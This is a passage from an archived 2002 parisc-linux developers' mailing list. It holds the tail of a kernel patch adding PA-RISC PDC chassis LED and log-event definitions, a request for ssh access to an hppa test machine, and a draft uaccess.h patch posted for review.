+#define is_pdc_pat()	(pdc_type == PDC_TYPE_PAT)
 
 struct pdc_chassis_info {       /* for PDC_CHASSIS_INFO */
 	unsigned long actcnt;   /* actual number of bytes returned */
@@ -915,6 +915,7 @@
 
 int pdc_add_valid(unsigned long address);
 int pdc_chassis_info(struct pdc_chassis_info *chassis_info, void *led_info, unsigned long len);
+int pdc_chassis_disp(unsigned long disp);
 int pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info);
 int pdc_iodc_read(unsigned long *actcnt, unsigned long hpa, unsigned int index,
 		  void *iodc_data, unsigned int iodc_data_size);
@@ -961,6 +962,8 @@
                  unsigned long glob_cfg);
 
 #ifdef __LP64__
+int pdc_pat_chassis_send_log(unsigned long status, unsigned long data);
+
 int pdc_pat_cell_get_number(struct pdc_pat_cell_num *cell_info);
 int pdc_pat_cell_module(unsigned long *actcnt, unsigned long ploc, unsigned long mod,
 			unsigned long view_type, void *mem_addr);
diff -Nru -x CVS linux.orig-pa20/include/asm-parisc/pdc_chassis.h linux/include/asm-parisc/pdc_chassis.h
--- linux.orig-pa20/include/asm-parisc/pdc_chassis.h	1970-01-01 01:00:00.000000000 +0100
+++ linux/include/asm-parisc/pdc_chassis.h	2002-10-03 17:24:57.000000000 +0200
@@ -0,0 +1,382 @@
+/*
+ *		include/asm-parisc/pdc_chassis.h
+ *
+ *		Copyright (C) 2002 Laurent Canet <canetl@esiee.fr>
+ *		Copyright (C) 2002 Thibaut Varene <varenet@esiee.fr>
+ *
+ *
+ *      This program is free software; you can redistribute it and/or modify
+ *      it under the terms of the GNU General Public License as published by
+ *      the Free Software Foundation; either version 2, or (at your option)
+ *      any later version.
+ *      
+ *      This program is distributed in the hope that it will be useful,
+ *      but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *      GNU General Public License for more details.
+ *      
+ *      You should have received a copy of the GNU General Public License
+ *      along with this program; if not, write to the Free Software
+ *      Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ *      TODO:	- handle processor number on SMP systems (Reporting Entity ID)
+ *      	- handle message ID
+ *      	- handle timestamps
+ */
+ 
+
+#ifndef _PARISC_PDC_CHASSIS_H
+#define _PARISC_PDC_CHASSIS_H
+
+/*
+ * ----------
+ * Prototypes
+ * ----------
+ */
+
+int pdc_chassis_send_status(int message);
+void __init parisc_pdc_chassis_init(void);
+
+
+/*
+ * -----------------
+ * Direct call names
+ * -----------------
+ * They setup everything for you, the Log message and the corresponding LED state
+ */
+
+#define PDC_CHASSIS_DIRECT_BSTART	0
+#define PDC_CHASSIS_DIRECT_BCOMPLETE	1
+#define PDC_CHASSIS_DIRECT_SHUTDOWN	2
+#define PDC_CHASSIS_DIRECT_PANIC	3
+#define PDC_CHASSIS_DIRECT_HPMC		4
+#define PDC_CHASSIS_DIRECT_LPMC		5
+#define PDC_CHASSIS_DIRECT_DUMP		6	/* not yet implemented */
+#define PDC_CHASSIS_DIRECT_OOPS		7	/* not yet implemented */
+
+
+/*
+ * ------------
+ * LEDs control
+ * ------------
+ * Set the three LEDs -- Run, Attn, and Fault.
+ */
+
+/* Old PDC LED control */
+#define PDC_CHASSIS_DISP_DATA(v)	((unsigned long)(v) << 17)
+
+/* 
+ * Available PDC PAT LED states
+ */
+
+#define PDC_CHASSIS_LED_RUN_OFF		(0ULL << 4)
+#define PDC_CHASSIS_LED_RUN_FLASH	(1ULL << 4)
+#define PDC_CHASSIS_LED_RUN_ON		(2ULL << 4)
+#define PDC_CHASSIS_LED_RUN_NC		(3ULL << 4)
+#define PDC_CHASSIS_LED_ATTN_OFF	(0ULL << 6)
+#define PDC_CHASSIS_LED_ATTN_FLASH	(1ULL << 6)
+#define PDC_CHASSIS_LED_ATTN_NC		(3ULL << 6)	/* ATTN ON is invalid */
+#define PDC_CHASSIS_LED_FAULT_OFF	(0ULL << 8)
+#define PDC_CHASSIS_LED_FAULT_FLASH	(1ULL << 8)
+#define PDC_CHASSIS_LED_FAULT_ON	(2ULL << 8)
+#define PDC_CHASSIS_LED_FAULT_NC	(3ULL << 8)
+#define PDC_CHASSIS_LED_VALID		(1ULL << 10)
+
+/* 
+ * Valid PDC PAT LED states combinations
+ */
+
+/* System running normally */
+#define PDC_CHASSIS_LSTATE_RUN_NORMAL	(PDC_CHASSIS_LED_RUN_ON		| \
+					 PDC_CHASSIS_LED_ATTN_OFF	| \
+					 PDC_CHASSIS_LED_FAULT_OFF	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* System crashed and rebooted itself successfully */
+#define PDC_CHASSIS_LSTATE_RUN_CRASHREC	(PDC_CHASSIS_LED_RUN_ON		| \
+					 PDC_CHASSIS_LED_ATTN_OFF	| \
+					 PDC_CHASSIS_LED_FAULT_FLASH	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* There was a system interruption that did not take the system down */
+#define PDC_CHASSIS_LSTATE_RUN_SYSINT	(PDC_CHASSIS_LED_RUN_ON		| \
+					 PDC_CHASSIS_LED_ATTN_FLASH	| \
+					 PDC_CHASSIS_LED_FAULT_OFF	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* System running and unexpected reboot or non-critical error detected */
+#define PDC_CHASSIS_LSTATE_RUN_NCRIT	(PDC_CHASSIS_LED_RUN_ON		| \
+					 PDC_CHASSIS_LED_ATTN_FLASH	| \
+					 PDC_CHASSIS_LED_FAULT_FLASH	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* Executing non-OS code */
+#define PDC_CHASSIS_LSTATE_NONOS	(PDC_CHASSIS_LED_RUN_FLASH	| \
+					 PDC_CHASSIS_LED_ATTN_OFF	| \
+					 PDC_CHASSIS_LED_FAULT_OFF	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* Boot failed - Executing non-OS code */
+#define PDC_CHASSIS_LSTATE_NONOS_BFAIL	(PDC_CHASSIS_LED_RUN_FLASH	| \
+					 PDC_CHASSIS_LED_ATTN_OFF	| \
+					 PDC_CHASSIS_LED_FAULT_ON	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* Unexpected reboot occured - Executing non-OS code */
+#define PDC_CHASSIS_LSTATE_NONOS_UNEXP	(PDC_CHASSIS_LED_RUN_FLASH	| \
+					 PDC_CHASSIS_LED_ATTN_OFF	| \
+					 PDC_CHASSIS_LED_FAULT_FLASH	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* Executing non-OS code - Non-critical error detected */
+#define PDC_CHASSIS_LSTATE_NONOS_NCRIT	(PDC_CHASSIS_LED_RUN_FLASH	| \
+					 PDC_CHASSIS_LED_ATTN_FLASH	| \
+					 PDC_CHASSIS_LED_FAULT_OFF	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* Boot failed - Executing non-OS code - Non-critical error detected */
+#define PDC_CHASSIS_LSTATE_BFAIL_NCRIT	(PDC_CHASSIS_LED_RUN_FLASH	| \
+					 PDC_CHASSIS_LED_ATTN_FLASH	| \
+					 PDC_CHASSIS_LED_FAULT_ON	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* Unexpected reboot/recovering - Executing non-OS code - Non-critical error detected */
+#define PDC_CHASSIS_LSTATE_UNEXP_NCRIT	(PDC_CHASSIS_LED_RUN_FLASH	| \
+					 PDC_CHASSIS_LED_ATTN_FLASH	| \
+					 PDC_CHASSIS_LED_FAULT_FLASH	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* Cannot execute PDC */
+#define PDC_CHASSIS_LSTATE_CANNOT_PDC	(PDC_CHASSIS_LED_RUN_OFF	| \
+					 PDC_CHASSIS_LED_ATTN_OFF	| \
+					 PDC_CHASSIS_LED_FAULT_OFF	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* Boot failed - OS not up - PDC has detected a failure that prevents boot */
+#define PDC_CHASSIS_LSTATE_FATAL_BFAIL	(PDC_CHASSIS_LED_RUN_OFF	| \
+					 PDC_CHASSIS_LED_ATTN_OFF	| \
+					 PDC_CHASSIS_LED_FAULT_ON	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* No code running - Non-critical error detected (double fault situation) */
+#define PDC_CHASSIS_LSTATE_NOCODE_NCRIT	(PDC_CHASSIS_LED_RUN_OFF	| \
+					 PDC_CHASSIS_LED_ATTN_FLASH	| \
+					 PDC_CHASSIS_LED_FAULT_OFF	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* Boot failed - OS not up - Fatal failure detected - Non-critical error detected */
+#define PDC_CHASSIS_LSTATE_FATAL_NCRIT	(PDC_CHASSIS_LED_RUN_OFF	| \
+					 PDC_CHASSIS_LED_ATTN_FLASH	| \
+					 PDC_CHASSIS_LED_FAULT_ON	| \
+					 PDC_CHASSIS_LED_VALID		)
+/* All other states are invalid */
+
+
+/*
+ * --------------
+ * PDC Log events
+ * --------------
+ * Here follows bits needed to fill up the log event sent to PDC_CHASSIS
+ * The log message contains: Alert level, Source, Source detail,
+ * Source ID, Problem detail, Caller activity, Activity status, 
+ * Caller subactivity, Reporting entity type, Reporting entity ID,
+ * Data type, Unique message ID and EOM. 
+ */
+
+/* Alert level */
+#define PDC_CHASSIS_ALERT_FORWARD	(0ULL << 36)	/* no failure detected */
+#define PDC_CHASSIS_ALERT_SERPROC	(1ULL << 36)	/* service proc - no failure */
+#define PDC_CHASSIS_ALERT_NURGENT	(2ULL << 36)	/* non-urgent operator attn */
+#define PDC_CHASSIS_ALERT_BLOCKED	(3ULL << 36)	/* system blocked */
+#define PDC_CHASSIS_ALERT_CONF_CHG	(4ULL << 36)	/* unexpected configuration change */
+#define PDC_CHASSIS_ALERT_ENV_PB	(5ULL << 36)	/* boot possible, environmental pb */
+#define PDC_CHASSIS_ALERT_PENDING	(6ULL << 36)	/* boot possible, pending failure */
+#define PDC_CHASSIS_ALERT_PERF_IMP	(8ULL << 36)	/* boot possible, performance impaired */
+#define PDC_CHASSIS_ALERT_FUNC_IMP	(10ULL << 36)	/* boot possible, functionality impaired */
+#define PDC_CHASSIS_ALERT_SOFT_FAIL	(12ULL << 36)	/* software failure */
+#define PDC_CHASSIS_ALERT_HANG		(13ULL << 36)	/* system hang */
+#define PDC_CHASSIS_ALERT_ENV_FATAL	(14ULL << 36)	/* fatal power or environmental pb */
+#define PDC_CHASSIS_ALERT_HW_FATAL	(15ULL << 36)	/* fatal hardware problem */
+
+/* Source */
+#define PDC_CHASSIS_SRC_NONE		(0ULL << 28)	/* unknown, no source stated */
+#define PDC_CHASSIS_SRC_PROC		(1ULL << 28)	/* processor */
+/* For later use ? */
+#define PDC_CHASSIS_SRC_PROC_CACHE	(2ULL << 28)	/* processor cache*/
+#define PDC_CHASSIS_SRC_PDH		(3ULL << 28)	/* processor dependent hardware */
+#define PDC_CHASSIS_SRC_PWR		(4ULL << 28)	/* power */
+#define PDC_CHASSIS_SRC_FAB		(5ULL << 28)	/* fabric connector */
+#define PDC_CHASSIS_SRC_PLATi		(6ULL << 28)	/* platform */
+#define PDC_CHASSIS_SRC_MEM		(7ULL << 28)	/* memory */
+#define PDC_CHASSIS_SRC_IO		(8ULL << 28)	/* I/O */
+#define PDC_CHASSIS_SRC_CELL		(9ULL << 28)	/* cell */
+#define PDC_CHASSIS_SRC_PD		(10ULL << 28)	/* protected domain */
+
+/* Source detail field */
+#define PDC_CHASSIS_SRC_D_PROC		(1ULL << 24)	/* processor general */
+
+/* Source ID - platform dependent */
+#define PDC_CHASSIS_SRC_ID_UNSPEC	(0ULL << 16)
+
+/* Problem detail - problem source dependent */
+#define PDC_CHASSIS_PB_D_PROC_NONE	(0ULL << 32)	/* no problem detail */
+#define PDC_CHASSIS_PB_D_PROC_TIMEOUT	(4ULL << 32)	/* timeout */
+
+/* Caller activity */
+#define PDC_CHASSIS_CALL_ACT_HPUX_BL	(7ULL << 12)	/* Boot Loader */
+#define PDC_CHASSIS_CALL_ACT_HPUX_PD	(8ULL << 12)	/* SAL_PD activities */
+#define PDC_CHASSIS_CALL_ACT_HPUX_EVENT	(9ULL << 12)	/* SAL_EVENTS activities */
+#define PDC_CHASSIS_CALL_ACT_HPUX_IO	(10ULL << 12)	/* SAL_IO activities */
+#define PDC_CHASSIS_CALL_ACT_HPUX_PANIC	(11ULL << 12)	/* System panic */
+#define PDC_CHASSIS_CALL_ACT_HPUX_INIT	(12ULL << 12)	/* System initialization */
+#define PDC_CHASSIS_CALL_ACT_HPUX_SHUT	(13ULL << 12)	/* System shutdown */
+#define PDC_CHASSIS_CALL_ACT_HPUX_WARN	(14ULL << 12)	/* System warning */
+#define PDC_CHASSIS_CALL_ACT_HPUX_DU	(15ULL << 12)	/* Display_Activity() update */
+
+/* Activity status - implementation dependent */
+#define PDC_CHASSIS_ACT_STATUS_UNSPEC	(0ULL << 0)
+
+/* Caller subactivity - implementation dependent */
+/* FIXME: other subactivities ? */
+#define PDC_CHASSIS_CALL_SACT_UNSPEC	(0ULL << 4)	/* implementation dependent */
+
+/* Reporting entity type */
+#define PDC_CHASSIS_RET_GENERICOS	(12ULL << 52)	/* generic OSes */
+#define PDC_CHASSIS_RET_IA64_NT		(13ULL << 52)	/* IA-64 NT */
+#define PDC_CHASSIS_RET_HPUX		(14ULL << 52)	/* HP-UX */
+#define PDC_CHASSIS_RET_DIAG		(15ULL << 52)	/* offline diagnostics & utilities */
+
+/* Reporting entity ID */
+#define PDC_CHASSIS_REID_UNSPEC		(0ULL << 44)
+
+/* Data type */
+#define PDC_CHASSIS_DT_NONE		(0ULL << 59)	/* data field unused */
+/* For later use ? Do we need these ? */
+#define PDC_CHASSIS_DT_PHYS_ADDR	(1ULL << 59)	/* physical address */
+#define PDC_CHASSIS_DT_DATA_EXPECT	(2ULL << 59)	/* expected data */
+#define PDC_CHASSIS_DT_ACTUAL		(3ULL << 59)	/* actual data */
+#define PDC_CHASSIS_DT_PHYS_LOC		(4ULL << 59)	/* physical location */
+#define PDC_CHASSIS_DT_PHYS_LOC_EXT	(5ULL << 59)	/* physical location extension */
+#define PDC_CHASSIS_DT_TAG		(6ULL << 59)	/* tag */
+#define PDC_CHASSIS_DT_SYNDROME		(7ULL << 59)	/* syndrome */
+#define PDC_CHASSIS_DT_CODE_ADDR	(8ULL << 59)	/* code address */
+#define PDC_CHASSIS_DT_ASCII_MSG	(9ULL << 59)	/* ascii message */
+#define PDC_CHASSIS_DT_POST		(10ULL << 59)	/* POST code */
+#define PDC_CHASSIS_DT_TIMESTAMP	(11ULL << 59)	/* timestamp */
+#define PDC_CHASSIS_DT_DEV_STAT		(12ULL << 59)	/* device status */
+#define PDC_CHASSIS_DT_DEV_TYPE		(13ULL << 59)	/* device type */
+#define PDC_CHASSIS_DT_PB_DET		(14ULL << 59)	/* problem detail */
+#define PDC_CHASSIS_DT_ACT_LEV		(15ULL << 59)	/* activity level/timeout */
+#define PDC_CHASSIS_DT_SER_NUM		(16ULL << 59)	/* serial number */
+#define PDC_CHASSIS_DT_REV_NUM		(17ULL << 59)	/* revision number */
+#define PDC_CHASSIS_DT_INTERRUPT	(18ULL << 59)	/* interruption information */
+#define PDC_CHASSIS_DT_TEST_NUM		(19ULL << 59)	/* test number */
+#define PDC_CHASSIS_DT_STATE_CHG	(20ULL << 59)	/* major changes in system state */
+#define PDC_CHASSIS_DT_PROC_DEALLOC	(21ULL << 59)	/* processor deallocate */
+#define PDC_CHASSIS_DT_RESET		(30ULL << 59)	/* reset type and cause */
+#define PDC_CHASSIS_DT_PA_LEGACY	(31ULL << 59)	/* legacy PA hex chassis code */
+
+/* System states - part of major changes in system state data field */
+#define PDC_CHASSIS_SYSTATE_BSTART	(0ULL << 0)	/* boot start */
+#define PDC_CHASSIS_SYSTATE_BCOMP	(1ULL << 0)	/* boot complete */
+#define PDC_CHASSIS_SYSTATE_CHANGE	(2ULL << 0)	/* major change */
+#define PDC_CHASSIS_SYSTATE_LED		(3ULL << 0)	/* LED change */
+#define PDC_CHASSIS_SYSTATE_PANIC	(9ULL << 0)	/* OS Panic */
+#define PDC_CHASSIS_SYSTATE_DUMP	(10ULL << 0)	/* memory dump */
+#define PDC_CHASSIS_SYSTATE_HPMC	(11ULL << 0)	/* processing HPMC */
+#define PDC_CHASSIS_SYSTATE_HALT	(15ULL << 0)	/* system halted */
+
+/* Message ID */
+#define PDC_CHASSIS_MSG_ID		(0ULL << 40)	/* we do not handle msg IDs atm */
+
+/* EOM - separates log entries */
+#define PDC_CHASSIS_EOM_CLEAR		(0ULL << 43)
+#define PDC_CHASSIS_EOM_SET		(1ULL << 43)
+
+/*
+ * Preformated well known messages
+ */
+
+/* Boot started */
+#define PDC_CHASSIS_PMSG_BSTART		(PDC_CHASSIS_ALERT_SERPROC	| \
+					 PDC_CHASSIS_SRC_PROC		| \
+					 PDC_CHASSIS_SRC_D_PROC		| \
+					 PDC_CHASSIS_SRC_ID_UNSPEC	| \
+					 PDC_CHASSIS_PB_D_PROC_NONE	| \
+					 PDC_CHASSIS_CALL_ACT_HPUX_INIT	| \
+					 PDC_CHASSIS_ACT_STATUS_UNSPEC	| \
+					 PDC_CHASSIS_CALL_SACT_UNSPEC	| \
+					 PDC_CHASSIS_RET_HPUX		| \
+					 PDC_CHASSIS_REID_UNSPEC	| \
+					 PDC_CHASSIS_DT_STATE_CHG	| \
+					 PDC_CHASSIS_SYSTATE_BSTART	| \
+					 PDC_CHASSIS_MSG_ID		| \
+					 PDC_CHASSIS_EOM_SET		)
+
+/* Boot complete */
+#define PDC_CHASSIS_PMSG_BCOMPLETE	(PDC_CHASSIS_ALERT_SERPROC	| \
+					 PDC_CHASSIS_SRC_PROC		| \
+					 PDC_CHASSIS_SRC_D_PROC		| \
+					 PDC_CHASSIS_SRC_ID_UNSPEC	| \
+					 PDC_CHASSIS_PB_D_PROC_NONE	| \
+					 PDC_CHASSIS_CALL_ACT_HPUX_INIT	| \
+					 PDC_CHASSIS_ACT_STATUS_UNSPEC	| \
+					 PDC_CHASSIS_CALL_SACT_UNSPEC	| \
+					 PDC_CHASSIS_RET_HPUX		| \
+					 PDC_CHASSIS_REID_UNSPEC	| \
+					 PDC_CHASSIS_DT_STATE_CHG	| \
+					 PDC_CHASSIS_SYSTATE_BCOMP	| \
+					 PDC_CHASSIS_MSG_ID		| \
+					 PDC_CHASSIS_EOM_SET		)
+
+/* Shutdown */
+#define PDC_CHASSIS_PMSG_SHUTDOWN	(PDC_CHASSIS_ALERT_SERPROC	| \
+					 PDC_CHASSIS_SRC_PROC		| \
+					 PDC_CHASSIS_SRC_D_PROC		| \
+					 PDC_CHASSIS_SRC_ID_UNSPEC	| \
+					 PDC_CHASSIS_PB_D_PROC_NONE	| \
+					 PDC_CHASSIS_CALL_ACT_HPUX_SHUT	| \
+					 PDC_CHASSIS_ACT_STATUS_UNSPEC	| \
+					 PDC_CHASSIS_CALL_SACT_UNSPEC	| \
+					 PDC_CHASSIS_RET_HPUX		| \
+					 PDC_CHASSIS_REID_UNSPEC	| \
+					 PDC_CHASSIS_DT_STATE_CHG	| \
+					 PDC_CHASSIS_SYSTATE_HALT	| \
+					 PDC_CHASSIS_MSG_ID		| \
+					 PDC_CHASSIS_EOM_SET		)
+
+/* Panic */
+#define PDC_CHASSIS_PMSG_PANIC		(PDC_CHASSIS_ALERT_SOFT_FAIL	| \
+					 PDC_CHASSIS_SRC_PROC		| \
+					 PDC_CHASSIS_SRC_D_PROC		| \
+					 PDC_CHASSIS_SRC_ID_UNSPEC	| \
+					 PDC_CHASSIS_PB_D_PROC_NONE	| \
+					 PDC_CHASSIS_CALL_ACT_HPUX_PANIC| \
+					 PDC_CHASSIS_ACT_STATUS_UNSPEC	| \
+					 PDC_CHASSIS_CALL_SACT_UNSPEC	| \
+					 PDC_CHASSIS_RET_HPUX		| \
+					 PDC_CHASSIS_REID_UNSPEC	| \
+					 PDC_CHASSIS_DT_STATE_CHG	| \
+					 PDC_CHASSIS_SYSTATE_PANIC	| \
+					 PDC_CHASSIS_MSG_ID		| \
+					 PDC_CHASSIS_EOM_SET		)
+
+// FIXME: extrapolated data
+/* HPMC */
+#define PDC_CHASSIS_PMSG_HPMC		(PDC_CHASSIS_ALERT_CONF_CHG /*?*/	| \
+					 PDC_CHASSIS_SRC_PROC		| \
+					 PDC_CHASSIS_SRC_D_PROC		| \
+					 PDC_CHASSIS_SRC_ID_UNSPEC	| \
+					 PDC_CHASSIS_PB_D_PROC_NONE	| \
+					 PDC_CHASSIS_CALL_ACT_HPUX_WARN	| \
+					 PDC_CHASSIS_RET_HPUX		| \
+					 PDC_CHASSIS_DT_STATE_CHG	| \
+					 PDC_CHASSIS_SYSTATE_HPMC	| \
+					 PDC_CHASSIS_MSG_ID		| \
+					 PDC_CHASSIS_EOM_SET		)
+
+/* LPMC */
+#define PDC_CHASSIS_PMSG_LPMC		(PDC_CHASSIS_ALERT_BLOCKED /*?*/| \
+					 PDC_CHASSIS_SRC_PROC		| \
+					 PDC_CHASSIS_SRC_D_PROC		| \
+					 PDC_CHASSIS_SRC_ID_UNSPEC	| \
+					 PDC_CHASSIS_PB_D_PROC_NONE	| \
+					 PDC_CHASSIS_CALL_ACT_HPUX_WARN	| \
+					 PDC_CHASSIS_ACT_STATUS_UNSPEC	| \
+					 PDC_CHASSIS_CALL_SACT_UNSPEC	| \
+					 PDC_CHASSIS_RET_HPUX		| \
+					 PDC_CHASSIS_REID_UNSPEC	| \
+					 PDC_CHASSIS_DT_STATE_CHG	| \
+					 PDC_CHASSIS_SYSTATE_CHANGE	| \
+					 PDC_CHASSIS_MSG_ID		| \
+					 PDC_CHASSIS_EOM_SET		)
+
+#endif /* _PARISC_PDC_CHASSIS_H */
+/* vim: set ts=8 */

--------------050007030408050205010406--




From - Thu Nov 08 21:24:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gyepi SAM <gyepi@praxis-sw.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] machine access
Date: Thu, 3 Oct 2002 15:44:46 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20021003194446.16598.qmail@nome.praxis-sw.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621798 15103 80.91.229.3 (22 Nov 2014 02:03:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct  3 13:44:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 141.154.117.64 (pool-141-154-117-64.bos.east.verizon.net [141.154.117.64])
	by dsl2.external.hp.com (Postfix) with SMTP id 6FE344829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  3 Oct 2002 13:44:49 -0600 (MDT)
Original-Received: (qmail 14991 invoked by uid 0); 3 Oct 2002 19:44:47 -0000
Original-Received: from nome.praxis-sw.com (192.168.100.11)
  by ancho.praxis-sw.com with QMQP; 3 Oct 2002 19:44:47 -0000
Content-Disposition: inline
User-Agent: Mutt/1.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16387

I am trying to debug some alignment issues for bogofilter (http://bogofilter.sf.net)
and wonder if someone on the list would allow me ssh access to an hppa machine.

The problem is on a 32bit 712, but other types may well work.

I would prefer one with gcc installed.

Ideally, I would really like to a semi-permanent account for testing, but a temporary one will do too.

Thanks.

-Gyepi Sam

-- 
To build may have to be the slow and laborious task of years. To destroy can be the thoughtless act of a single day.
	--Winston Churchill  


From - Thu Nov 08 21:24:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Need help to improve uaccess.h patch
Date: Fri, 4 Oct 2002 17:24:45 +0200
Lines: 370
Approved: news@gmane.org
Message-ID: <3D8EED0B00001557@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=========3D8EED0B00001557/mail.tiscali.be"
X-Trace: ger.gmane.org 1416621798 15106 80.91.229.3 (22 Nov 2014 02:03:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  4 09:32:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (mail.tiscali.be [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id C91DA4829
	for <parisc-linux@parisc-linux.org>; Fri,  4 Oct 2002 09:31:57 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 4 Oct 2002 17:24:45 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16388

--=========3D8EED0B00001557/mail.tiscali.be
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hi all,

With evms-1.2.0, I test following draft of uaccess.h.

Can somebody have a close look on this code to make it relevant for all
(I not sure of exception condition (ie segv) because I do not find any way
to stress it and do not find usage of get_user_asm_64)?

Thanks in advance for attention and futher help,
    Joel


########
--- uaccess.h.orig	2002-10-04 10:23:59.000000000 +0200
+++ uaccess.h	2002-10-04 17:07:54.000000000 +0200
@@ -35,10 +35,15 @@
 #define get_user __get_user
 
 #if BITS_PER_LONG == 32
-#define LDD_KERNEL(ptr)		BUG()
-#define LDD_USER(ptr)		BUG()
-#define STD_KERNEL(x, ptr)	BUG()
-#define STD_USER(x, ptr)	BUG()
+
+#define LDD_KERNEL(x, ptr) __get_kernel_asm_64(x, ptr)
+
+#define LDD_USER(x, ptr) __get_user_asm_64(x, ptr)
+
+#define STD_KERNEL(x, ptr) __put_kernel_asm_64(x, ptr)
+
+#define STD_USER(x, ptr) __put_user_asm_64(x, ptr)
+
 #else
 #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
 #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
@@ -68,27 +73,28 @@
 ({                                                      \
 	register long __gu_err __asm__ ("r8") = 0;      \
 	register long __gu_val __asm__ ("r9") = 0;      \
+                                                        \
+        unsigned int __tmp = 0;                         \
 							\
 	if (segment_eq(get_fs(),KERNEL_DS)) {           \
 	    switch (sizeof(*(ptr))) {                   \
-	    case 1: __get_kernel_asm("ldb",ptr); break; \
-	    case 2: __get_kernel_asm("ldh",ptr); break; \
-	    case 4: __get_kernel_asm("ldw",ptr); break; \
-	    case 8: LDD_KERNEL(ptr); break;		\
+	    case 1: __get_kernel_asm("ldb",x, ptr); break; \
+	    case 2: __get_kernel_asm("ldh",x, ptr); break; \
+	    case 4: __get_kernel_asm("ldw",x, ptr); break; \
+	    case 8: LDD_KERNEL(x, ptr); break;		\
 	    default: BUG(); break;                      \
 	    }                                           \
 	}                                               \
 	else {                                          \
 	    switch (sizeof(*(ptr))) {                   \
-	    case 1: __get_user_asm("ldb",ptr); break;   \
-	    case 2: __get_user_asm("ldh",ptr); break;   \
-	    case 4: __get_user_asm("ldw",ptr); break;   \
-	    case 8: LDD_USER(ptr);  break;		\
+	    case 1: __get_user_asm("ldb",x, ptr); break;   \
+	    case 2: __get_user_asm("ldh",x, ptr); break;   \
+	    case 4: __get_user_asm("ldw",x, ptr); break;   \
+	    case 8: LDD_USER(x, ptr);  break;		\
 	    default: BUG(); break;                      \
 	    }                                           \
 	}                                               \
 							\
-	(x) = (__typeof__(*(ptr))) __gu_val;            \
 	__gu_err;                                       \
 })
 
@@ -113,7 +119,7 @@
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err));
 #else
-#define __get_kernel_asm(ldx,ptr)                       \
+#define __get_kernel_asm(ldx,x, ptr)                    \
